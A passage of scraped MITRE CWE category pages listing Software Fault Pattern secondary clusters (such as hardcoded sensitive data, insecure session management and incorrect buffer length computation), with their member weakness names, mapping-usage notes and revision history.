HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.686Function Call With Incorrect Argument Type
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.688Function Call With Incorrect Variable or Reference as Argument
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.704Incorrect Type Conversion or Cast
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.768Incorrect Short Circuit Evaluation
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Hardcoded Sensitive Data

Category ID: 950
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Hardcoded Sensitive Data cluster (SFP33).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.898SFP Primary Cluster: Authentication
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.258Empty Password in Configuration File
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.259Use of Hard-coded Password
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.321Use of Hard-coded Cryptographic Key
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.547Use of Hard-coded, Security-relevant Constants
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Implementation

Category ID: 978
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Implementation cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.907SFP Primary Cluster: Other
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.358Improperly Implemented Security Check for Standard
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3987PK - Code Quality
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.623Unsafe ActiveX Control Marked Safe For Scripting
HasMemberPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.710Improper Adherence to Coding Standards
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Improper NULL Termination

Category ID: 973
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Improper NULL Termination cluster (SFP11).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.890SFP Primary Cluster: Memory Access
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.170Improper Null Termination
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Incorrect Buffer Length Computation

Category ID: 974
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Incorrect Buffer Length Computation cluster (SFP10).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.890SFP Primary Cluster: Memory Access
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.131Incorrect Calculation of Buffer Size
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.135Incorrect Calculation of Multi-Byte String Length
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.251Often Misused: String Management
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.467Use of sizeof() on a Pointer Type
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Incorrect Exception Behavior

Category ID: 961
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Incorrect Exception Behavior cluster (SFP6).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.889SFP Primary Cluster: Exception Management
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.392Missing Report of Error Condition
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.393Return of Wrong Status Code
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.455Non-exit on Failed Initialization
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.460Improper Cleanup on Thrown Exception
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.544Missing Standardized Error Handling Mechanism
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.584Return Inside Finally Block
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.636Not Failing Securely ('Failing Open')
HasMemberPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.703Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Incorrect Input Handling

Category ID: 993
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Incorrect Input Handling cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.896SFP Primary Cluster: Tainted Input
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.198Use of Incorrect Byte Ordering
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.228Improper Handling of Syntactically Invalid Structure
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.229Improper Handling of Values
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.230Improper Handling of Missing Values
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.231Improper Handling of Extra Values
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.232Improper Handling of Undefined Values
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.233Improper Handling of Parameters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.234Failure to Handle Missing Parameter
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.235Improper Handling of Extra Parameters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.236Improper Handling of Undefined Parameters
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.237Improper Handling of Structural Elements
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.238Improper Handling of Incomplete Structural Elements
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.239Failure to Handle Incomplete Element
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.240Improper Handling of Inconsistent Structural Elements
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.241Improper Handling of Unexpected Data Type
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.351Insufficient Type Distinction
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.354Improper Validation of Integrity Check Value
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Information Loss

Category ID: 997
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Information Loss cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.906SFP Primary Cluster: UI
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.221Information Loss or Omission
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.222Truncation of Security-relevant Information
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.223Omission of Security-relevant Information
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.224Obscured Security-relevant Information by Alternate Name
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Insecure Authentication Policy

Category ID: 951
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Insecure Authentication Policy cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.898SFP Primary Cluster: Authentication
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.262Not Using Password Aging
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.263Password Aging with Long Expiration
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.521Weak Password Requirements
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.556ASP.NET Misconfiguration: Use of Identity Impersonation
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.613Insufficient Session Expiration
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.645Overly Restrictive Account Lockout Mechanism
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Insecure Resource Access

Category ID: 945
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Access cluster (SFP35).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.899SFP Primary Cluster: Access Control
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.285Improper Authorization
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.424Improper Protection of Alternate Path
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.639Authorization Bypass Through User-Controlled Key
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.650Trusting HTTP Permission Methods on the Server Side
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Insecure Resource Permissions

Category ID: 946
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Permissions cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.899SFP Primary Cluster: Access Control
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.276Incorrect Default Permissions
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.277Insecure Inherited Permissions
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.278Insecure Preserved Inherited Permissions
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.279Incorrect Execution-Assigned Permissions
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.281Improper Preservation of Permissions
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.560Use of umask() with chmod-style Argument
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.732Incorrect Permission Assignment for Critical Resource
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Insecure Session Management

Category ID: 965
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Insecure Session Management cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.895SFP Primary Cluster: Information Leak
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.6J2EE Misconfiguration: Insufficient Session-ID Length
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.488Exposure of Data Element to Wrong Session
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.524Use of Cache Containing Sensitive Information
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Life Cycle

Category ID: 984
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Life Cycle cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.892SFP Primary Cluster: Resource Management
HasMemberPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.666Operation on Resource in Wrong Phase of Lifetime
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.675Multiple Operations on Resource in Single-Operation Context
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.694Use of Multiple Resources with Duplicate Identifier
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Link in Resource Name Resolution

Category ID: 980
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
